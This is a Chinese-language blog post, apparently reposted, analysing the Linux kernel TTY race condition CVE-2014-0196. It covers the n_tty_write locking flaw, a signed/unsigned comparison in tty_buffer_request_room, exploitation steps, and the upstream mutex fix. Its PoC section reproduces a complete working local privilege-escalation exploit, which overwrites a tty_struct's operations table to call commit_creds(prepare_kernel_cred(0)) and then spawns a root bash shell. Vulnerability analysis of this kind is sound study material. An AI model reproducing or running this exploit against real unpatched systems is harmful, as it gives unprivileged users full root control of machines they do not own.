浅析CVE-2014-0196

来源:互联网 发布:手机画衣柜软件 编辑:程序博客网 时间:2024/05/17 22:07

//weibo: @少仲


0x0 漏洞信息

https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0196


0x1 漏洞描述

n_tty_write函数没有加锁,导致同步状态下出现条件竞争的漏洞.


0x2 代码分析

先看tty_buffer

struct tty_buffer{struct tty_buffer *next;char *char_buf_ptr;unsigned char *flag_buf_ptr;int used;int size;int commit;int read;/* Data points here */unsigned long data[0];};

这个结构后面会直接跟着char_buffer和flag_buffer,这两个缓冲区的大小都是size

size 开始的时候会是256 ,最大可以分配到TTY_BUFFER_PAGE

#define TTY_BUFFER_PAGE  (((PAGE_SIZE - sizeof(struct tty_buffer)) / 2) & ~0xFF)</span>

问题具体发生在tty_insert_flip_string_fixed_flag

int tty_insert_flip_string_fixed_flag(struct tty_struct *tty,        const unsigned char *chars, char flag, size_t size){    int copied = 0;    do {        int goal = min_t(size_t, size - copied, TTY_BUFFER_PAGE);//使用tty_buffer_request_room判断是否内存是否足够,如果没有则申请更大内存        int space = tty_buffer_request_room(tty, goal);        struct tty_buffer *tb = tty->buf.tail;               if (unlikely(space == 0))            break;//拷贝应用层传递下来的内容到buffer中        memcpy(tb->char_buf_ptr + tb->used, chars, space);        memset(tb->flag_buf_ptr + tb->used, flag, space);//增加tb->used        tb->used += space;        copied += space;        chars += space;        /* There is a small chance that we need to split the data over           several buffers. If this is the case we must loop */    } while (unlikely(size > copied));    return copied;}

再看tty_buffer_request_room

int tty_buffer_request_room(struct tty_struct *tty, size_t size){    struct tty_buffer *b, *n;    int left;                                       unsigned long flags;    spin_lock_irqsave(&tty->buf.lock, flags);        /* OPTIMISATION: We could keep a per tty "zero" sized buffer to       remove this conditional if its worth it. This would be invisible       to the callers */    if ((b = tty->buf.tail) != NULL)        left = b->size - b->used;                    else        left = 0;//left是有符号型整数,而size传进来时是无符号整数    if (left < size) {                                   /* This is the slow path - looking for new buffers to use */        if ((n = tty_buffer_find(tty, size)) != NULL) {            if (b != NULL) {                b->next = n;                b->commit = b->used;            } else                tty->buf.head = n;            tty->buf.tail = n;        } else            size = left;    }    spin_unlock_irqrestore(&tty->buf.lock, flags);    return size;}

当表达式中存在有符号类型和无符号类型时所有的操作数都自动转换为无符号类型.因此,从这个意义上讲,无符号数的运算优先级要高于有符号数.下面写一个简单的测试例子来证明

int _tmain(int argc, _TCHAR* argv[]){int a = -10;size_t b = 10;if (a < b)printf("%d < %d\n",a,b);elseprintf("%d > %d\n",a,b);getchar();return 0;}

结果如图:



什么时候能使得int型的left(left =b->size - b->used)为负数呢,即b->size<b->used

假设进程A,B都去写tty_buffer

1.  A进入tty_insert_flip_string_fixed_flag,调用tty_buffer_request_room

2.  B进入tty_insert_flip_string_fixed_flag,调用tty_buffer_request_room

3.  A进程将tty_buffer的size写满

4.  B进程继续向tty_buffer->used写内存,转化为堆内存溢出

所以完成竞争条件的方法就是在B进程进入tty_buffer_request_room函数并计算left值时,B进程还没更新b->used的值.memcpy耗时很久,所以容易造成竞争条件.


0x3 如何利用

//创建一个用来溢出的tty_bufferif (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {puts("\n[-] pty creation failed");return 1;}//然后创建40个tty_buffer使slab有序排列for (j = 0; j < 40; ++j)if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {puts("\n[-] pty creation failed");return 1;}//开始溢出void *overwrite_thread_fn(void *p) {write(slave_fd, buf, 511);write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));write(slave_fd, &overwrite, sizeof(overwrite));}


0x4 Poc

/* * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race * condition * * Slightly-less-than-POC privilege escalation exploit * For kernels >= v3.14-rc1 * * Matthew Daley <mattd@bugfuzz.com> * * Usage:  *   $ gcc cve-2014-0196-md.c -lutil -lpthread *   $ ./a.out *   [+] Resolving symbols *   [+] Resolved commit_creds: 0xffffffff81056694 *   [+] Resolved prepare_kernel_cred: 0xffffffff810568a7 *   [+] Doing once-off allocations *   [+] Attempting to overflow into a tty_struct............... *   [+] Got it :) *   # id *   uid=0(root) gid=0(root) groups=0(root) * * WARNING: The overflow placement is still less-than-ideal; there is a 1/4 * chance that the overflow will go off the end of a slab. This does not * necessarily lead to an immediate kernel crash, but you should be prepared * for the worst (i.e. kernel oopsing in a bad state). In theory this would be * avoidable by reading /proc/slabinfo on systems where it is still available * to unprivileged users. * * Caveat: The vulnerability should be exploitable all the way from * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer * GFP_ATOMIC memory consumption") that make exploitation simpler, which this * exploit relies on. * * Thanks to Jon Oberheide for his help on exploitation technique. */#include <sys/stat.h>#include <sys/types.h>#include <fcntl.h>#include <pthread.h>#include <pty.h>#include <stdio.h>#include <string.h>#include <termios.h>#include <unistd.h>#define TTY_MAGIC 0x5401#define ONEOFF_ALLOCS 200#define RUN_ALLOCS    30struct device;struct tty_driver;struct tty_operations;typedef struct {int counter;} atomic_t;struct kref {atomic_t refcount;};struct tty_struct_header {intmagic;struct kref kref;struct device *dev;struct tty_driver *driver;const struct tty_operations *ops;} overwrite;typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);int master_fd, slave_fd;char buf[1024] = {0};commit_creds_fn commit_creds;prepare_kernel_cred_fn prepare_kernel_cred;int payload(void) {commit_creds(prepare_kernel_cred(0));return 0;}unsigned long get_symbol(char *target_name) {FILE *f;unsigned long addr;char dummy;char name[256];int ret = 0;f = fopen("/proc/kallsyms", "r");if (f == NULL)return 0;while (ret != EOF) {ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name);if (ret == 0) {fscanf(f, "%s\n", name);continue;}if (!strcmp(name, target_name)) {printf("[+] Resolved %s: %p\n", target_name, (void *)addr);fclose(f);return addr;}}printf("[-] Couldn't resolve \"%s\"\n", name);fclose(f);return 0;}void *overwrite_thread_fn(void *p) {write(slave_fd, buf, 511);write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));write(slave_fd, &overwrite, sizeof(overwrite));}int main() {char scratch[1024] = {0};void *tty_operations[64];int i, temp_fd_1, temp_fd_2;for (i = 0; i < 64; ++i)tty_operations[i] = payload;overwrite.magic                 = TTY_MAGIC;overwrite.kref.refcount.counter = 0x1337;overwrite.dev                   = (struct device *)scratch;overwrite.driver                = (struct tty_driver *)scratch;overwrite.ops                   = (struct tty_operations *)tty_operations;puts("[+] Resolving symbols");commit_creds = (commit_creds_fn)get_symbol("commit_creds");prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");if (!commit_creds || !prepare_kernel_cred)return 1;puts("[+] Doing once-off allocations");for (i = 0; i < ONEOFF_ALLOCS; ++i)if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) {puts("[-] pty creation failed");return 1;}printf("[+] Attempting to overflow into a tty_struct...");fflush(stdout);for (i = 0; ; ++i) {struct termios t;int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;pthread_t overwrite_thread;if (!(i & 0xfff)) {putchar('.');fflush(stdout);}if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {puts("\n[-] pty creation failed");return 1;}for (j = 0; j < RUN_ALLOCS; ++j)if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {puts("\n[-] pty creation failed");return 1;}close(fds[RUN_ALLOCS / 2]);close(fds2[RUN_ALLOCS / 2]);write(slave_fd, buf, 1);tcgetattr(master_fd, &t);t.c_oflag &= ~OPOST;t.c_lflag |= ECHO;tcsetattr(master_fd, TCSANOW, &t);if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) {puts("\n[-] Overwrite thread creation failed");return 1;}write(master_fd, "A", 1);pthread_join(overwrite_thread, NULL);for (j = 0; j < RUN_ALLOCS; ++j) {if (j == RUN_ALLOCS / 2)continue;ioctl(fds[j], 0xdeadbeef);ioctl(fds2[j], 0xdeadbeef);close(fds[j]);close(fds2[j]);}ioctl(master_fd, 0xdeadbeef);ioctl(slave_fd, 0xdeadbeef);close(master_fd);close(slave_fd);if (!setresuid(0, 0, 0)) {setresgid(0, 0, 0);puts("\n[+] Got it :)");execl("/bin/bash", "/bin/bash", NULL);}}}

0x5 漏洞修复

https://git.kernel.org/cgit/linux/kernel/git/gregkh/tty.git/commit/?h=tty-linus&id=4291086b1f081b869c6d79e5b7441633dc3ace00

if (tty->ops->flush_chars) tty->ops->flush_chars(tty); } else {+struct n_tty_data *ldata = tty->disc_data;+ while (nr > 0) {                 //在tty_write前加锁处理+mutex_lock(&ldata->output_lock); c = tty->ops->write(tty, b, nr);+mutex_unlock(&ldata->output_lock); if (c < 0) { retval = c; goto break_out;



1 0
原创粉丝点击